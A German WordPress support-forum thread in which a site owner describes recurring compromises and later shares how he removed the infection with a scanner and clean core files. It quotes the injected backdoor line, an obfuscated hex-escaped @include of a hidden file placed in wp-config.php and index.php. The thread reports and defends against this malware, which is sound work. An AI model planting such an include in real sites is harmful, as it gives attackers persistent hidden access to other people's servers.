WordPress Installationen ständig gehackt
-
Hallo,
ich melde mich hier mal, weil ich auf ein paar (längst nicht allen) WP-Installationen ein wiederkehrendes Problem habe: Sie werden offensichtlich regelmäßig gehackt, aber ich weiß nicht, ob von innen oder außen.
Zunächst war es mir gar nicht aufgefallen. Meist machen diese Veränderungen an den WP-Dateien keine Auffälligkeiten. Bei der letzten Installation allerdings schon. Da ging plötzlich der Medienbrowser nicht mehr, es ließen sich keine weiteren Themes mehr hinzufügen und Elementor gab einen 500er Serverfehler aus, funktionierte danach aber stets reibungslos.
Zuerst dachte ich, es hinge mit dem Update auf 6.3. zusammen und habe 6.2.2 zurück installiert. Danach lief erst einmal alles wieder. Am nächsten Tag das gleiche Problem. Lag also eher nicht am Update.
Dann stellte ich fest, dass die wp-config und die index.php folgenden Code enthielten:
/bdf59/
@include („/var/www/vhosts/host\x2da.de/team.host\x2da.de/w\x70\x2dincludes/blocks/file/.f568af4f.otc“);
/bdf59/
Es gibt dieses Verzeichnis jedoch gar nicht auf meinem Server.
Zudem werden haufenweise Verzeichnisse und Dateien angelegt, die teilweise html-texte und teilweise verschlüsselten code enthalten. Lösche ich sie und überschreibe wp-admin und wp-includes mit einer sauberen Version, ist das Problem für einige Stunden behoben. Es kommt aber wieder.
Es sind stets die Subdomains von zwei meiner Domains betroffen.
Eingrenzung des Problems:
Es liegt nicht an Plugins und Themes. Ich arbeite meist mit oceanwp und nur einer handvoll Plugins. Ich habe mehrfach mein Adminpassword geändert.
Wäre echt cool, wenn jemand wüsste, was das ist.
Danke und Grüße
Holger
-
Hallo,
ich habe nun die Lösung gefunden und da nur allgemeine Informationen kamen, die nicht wirklich weiter halfen, möchte ich gerne erzählen, wie ich die Plagegeister wieder losgeworden bin.
Zunächst einmal wurde auf Wordfence verwiesen. Das habe ich installiert und dann bemerkt, dass es in der kostenlosen Version unbrauchbar war. Mit Ninja Scan habe ich dann ein anderes, kostenloses Scantool gefunden, das mir anzeigte, wo die Plagegeister alle saßen. Ich hatte stets einige übersehen und die haben dann wie ein Backdoor funktioniert.
Zunächst einmal infiziert die Malware (von der ich immer noch nicht weiß, wie sie überhaupt auf den Server gelangt ist) die index.php in allen Verzeichnissen, die sie finden kann, sowie die wp-config.php Sie schreibt dazu den o.a. Code direkt unter das php-Tag.
Zweitens infiziert sie zahlreiche Dateien in der wp-admin und wp-includes.
Drittens verändert sie (seltsamerweise) ein paar css-Datein von Plugins indem sie ganze Anweisungsblöcke löscht.
Vierterns legt sie ein Schein-Plugin an
Fünftens legt sie ein Schein- Theme an.
Nachdedm also die Index.php, die config.php etc. gesäubert wurden, habe ich das Schein-Theme und das Schein-Plugin gelöscht. Die css-Dateien hat mir freundlicherweise Ninja Scan repariert.
Dann wp-admin und wp-includes löschen und saubere Versionen hochladen. Achtung! Vorher unter wp-includes/version.php die aktuell verwendete Version auslesen, sonst gibt’s Probleme.
Übrigens: Der letzte Schritt sollte der erste sein, falls Ihr mit Ninja Scan arbeiten wollt, denn mit den infizierten Versionen bricht der Scan ab.
Übrigens führte die Infektion nicht zu einer Blacklistung. Virustotal fand die Seite auch total unauffällig. Über den Browser wurde nichts ausgeliefert und nichts ausspioniert. Es scheint, als sei die Malware eine reine Webmaster/Serveradmin Beschäftigungstherapie.
Hallo,
danke für die umfangreiche Beschreibung. Ob damit dann wirklich alle Lüken geschlossen sind, kann ich nicht beurteilen.
Ich verwende bei WordPress-Instanzen auch gerne das Plugin NinjaFirewall, das von den gleichen Entwicklern kommt, die NinjaScanner – Virus & Malware scan erstellt haben.Denkst du bitte beim nächsten Mal daran, das Thema dann auch als gelöst zu markieren, wenn das Thema für dich erledigt ist. Danke.
Die Option findest du rechts in der Sidebar. Das habe ich jetzt schon gemacht.Viele Grüße
Hans-Gerd
- Das Thema „WordPress Installationen ständig gehackt“ ist für neue Antworten geschlossen.